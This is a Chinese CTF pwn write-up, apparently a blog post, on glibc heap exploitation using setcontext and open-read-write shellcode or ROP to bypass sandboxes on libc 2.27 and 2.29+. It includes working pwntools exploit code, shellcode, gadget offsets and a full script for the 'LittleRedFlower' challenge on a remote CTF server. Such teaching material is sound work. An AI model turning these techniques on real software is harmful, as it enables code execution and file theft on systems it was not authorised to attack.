【pwn】orw

本文分为两部分,一部分是2.27及一下的 setcontext + orw,一部分是 2.29 及以上的 setcontext + orw。

利用条件

2.27:

  • 开了沙箱
  • uaf 等控制 free_hook
一、2.27

libc 2.27及以下的 setcontext:
在这里插入图片描述
给各寄存器传参分别由 rdi 来完成,一般的套路是线泄漏 libc 和 heap_base,我们把某一个 chunk 填充为:

frame = SigreturnFrame()
frame.rsp = libc.sym['__free_hook']+0x10
frame.rdi = newexe
frame.rsi = 0x1000
frame.rdx = 4 | 2 | 1
frame.rip = libc.sym['mprotect']

具体堆中:
在这里插入图片描述
通过 tcache double 等方式申请到 free_hook 将其覆写为 setcontext + 53:

newexe = libc.sym['__free_hook'] & 0xfffffffffffff000
context.arch = 'amd64'
shell1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000

mov eax,0
syscall

jmp rsi
''' % newexe
add(0x10,p64(heap_base+0xd80))
add(0x10,p64(libc.sym["__free_hook"])*2)

add(0x120,'a')
payload = p64(libc.sym['setcontext']+53) + p64(libc.sym['__free_hook']+0x18)*2 + asm(shell1)
add(0x120,payload)

在这里插入图片描述
然后后续按照 payload 分配,此时 free 上面布置好 frame 的 chunk,当堆管理器检测到 free_hook 不为空时就会去执行,那就是相当于要执行 setcontext + 53,因为 free(ptr) ,其中 rdi 为 ptr,而setcontext + 53 又是根据 ptr 来为各寄存器赋值,所以此时达成了控制程序执行流的目的,当执行到 push rcx 之前:
在这里插入图片描述
此时均指向了我们想要执行的位置,执行 push rcx 后:
在这里插入图片描述
在这里插入图片描述
因为现在栈现在迁移到 0x8f8 处,push 后将 mprotect 函数地址置于栈顶,接下来继续执行,控制完寄存器,最后执行 ret 时会把 push 进去的 rcx 也就是 mprotect 的地址弹给 rip 去执行:
在这里插入图片描述
在这里插入图片描述
执行完 mprotect 后 pop rip 布置好的 shellcode 地址:
在这里插入图片描述
去执行 shell1,继续向刚才覆写权限的区域读取 orw 的shellcode:

shell2 = '''
mov rax,0x67616c66
push rax

mov rdi,rsp
mov rsi,0
mov rdx,0
mov rax,2
syscall

mov rdi,rax
mov rsi,rsp
mov rdx,1024
mov rax,0
syscall

mov rdi,1
mov rsi,rsp
mov rdx,rax
mov rax,1
syscall

mov rdi,0
mov rax,60
syscall
'''

然后在 shell1 的最后 jmp 到此处执行 orw:
在这里插入图片描述
在这里插入图片描述
最终读取到 flag:
在这里插入图片描述
此题为 2020 dasctf 6月的 oooorder.

所以 2.27 下,最核心的利用的点就是 free 时 rdi 为堆地址,通过在堆中的偏移来控制各寄存器,在泄漏了堆地址的题目中,我们也可以把栈迁移到堆上来,在 frame 的 rsp 位置和 rip 的位置分别布置 fake_rsp 也就是第二次执行的位置,rip 布置为 ret,相当于弹栈,原本一次 ret,又执行一次,一共两次弹栈,恰好把 shellcode 地址弹给 rip,接着在堆上布置 orw,读 flag:

fake_rsp = heap_base + 0x1d80
ret = libc_base + 0x00000000000008aa # ret
pop_rdi_ret = libc_base + 0x000000000002155f # pop rdi ; ret
pop_rsi_ret = libc_base + 0x0000000000023e6a # pop rsi ; ret 
pop_rdx_rsi_ret = libc_base + 0x00000000001306d9 # pop rdx ; pop rsi ; ret
pop_rdx_ret = libc_base + 0x0000000000001b96 # pop rdx ; ret

p = 'a'*0xa0 + p64(fake_rsp) + p64(ret) #rsp  rip
p = p.ljust(0xb0, '\x00')
p += './flag\x00\x00'
p += p64(0)
p += p64(pop_rdi_ret) + p64(flag)
p += p64(pop_rsi_ret) + p64(0)
p += p64(libc_base+libc.sym['open'])
p += p64(pop_rdi_ret) + p64(3)
p += p64(pop_rdx_rsi_ret) + p64(0x30) + p64(fake_rsp+0x100)
p += p64(libc_base + libc.sym['read'])
p += p64(pop_rdi_ret) + p64(1)
p += p64(pop_rdx_rsi_ret) + p64(0x30) + p64(fake_rsp+0x100)
p += p64(libc_base + libc.sym['write'])
add(0x400, p)#10
free(10)

第二种就相对简单了。

2.29

2.29 下,setcontext 赋值的 rdi 变成了 rdx:
在这里插入图片描述
那此时就需要一个 gadget 来控制 rdx,通常是下面这个 gadget:

ropper -f ../share/ctf-pwn/libc/libc6_2.29-0ubuntu2_amd64.so --search 'mov rdx'

0x000000000012be97: mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax; 

scanf读取到换行符,read 则不用

2.30
> ropper -f ../share/ctf-pwn/libc/libc6_2.30-0ubuntu2.2_amd64.so --search "mov rdx"
0x0000000000154b20: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];

rdi 此时为当前 chunk 地址,rdi + 8 应该存放 fake_frame 的地址,此时 rdx 指向了 fake_frame,最后 call [rdx + 0x20] = call &fake_frame + 0x20 = call (libc_base + libc.sym[’__free_hook’] + 0x30) = call
p64(libc_base + libc.sym[‘setcontext’] + 61),然后完成一系列寄存器的控制,frame 的前 0x28 个字节没用,前面填充完直接从 frame[0x28:] 开始。
LittleRedFlower

#coding=utf-8
from pwn import *

# libc=ELF("/home/newf1rst/share/ctf-pwn/libc/libc6_2.27-3ubuntu1.2_amd64.so")
# libc = elf.libc
libc = ELF("./libc.so.6")
# io = process("./pwn.bak")
io = remote("node3.buuoj.cn", 29518)

context.log_level = 'debug'
context.arch='amd64'

def dbg():
    gdb.attach(io)
    pause()
    
io.recvuntil("GIFT: 0x")
libc_base = int(io.recvuntil("\n",drop=True), 16) - libc.sym['_IO_2_1_stdout_']
print("libc_base -> ", hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']

io.recvuntil("You can write a byte anywhere")
# tcache_max_bins = libc_base + libc.sym['obstack_exit_failure']-0x20
io.send(p64(libc_base + 0x1ea2d0 + 0x7))
io.recvuntil("And what?")
io.send('\xff')
io.sendlineafter("Offset:", str(0x880))
io.sendafter("Content:", p64(free_hook))
# gdb.attach(io, "b free \n c")
io.sendafter("size:", str(0x1530))

# pop_rdi_addr = libc_base + 0x0000000000021a62
# pop_rsi_addr = libc_base + 0x0000000000022432
# pop_rdx_addr = libc_base + 0x0000000000001b9a
pop_rdi_addr = libc_base + 0x0000000000026bb2
pop_rsi_addr = libc_base + 0x000000000002709c
pop_rdx_r12_addr = libc_base + 0x000000000011c3b1
ret = libc_base + 0x00000000000008aa
fake_frame_addr = libc_base + libc.sym['__free_hook'] + 0x10
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = fake_frame_addr + 0xF8
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = libc.address + 0x00000000000256b9  # : ret
# frame.rip = ret
rop_data = [
    libc_base + libc.sym['open'],
    pop_rdx_r12_addr,
    0x100,
    0x0,
    pop_rdi_addr,
    3,
    pop_rsi_addr,
    fake_frame_addr + 0x200,
    libc_base + libc.sym['read'],
    pop_rdi_addr,
    fake_frame_addr + 0x200,
    libc_base + libc.sym['puts']
]

# local 0x0000000000150550 vn_libc:0x0000000000154b20
gadget = libc_base +  0x0000000000154b20
#0x0000000000154b20: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
frame = str(frame).ljust(0xF8, '\x00')
payload = p64(gadget) + p64(fake_frame_addr) + '\x00' * 0x20 + p64(libc_base + libc.sym['setcontext'] + 61) + frame[0x28:] + "flag\x00\x00\x00\x00" + p64(0) + flat(rop_data)

io.sendafter('>>', payload)

io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值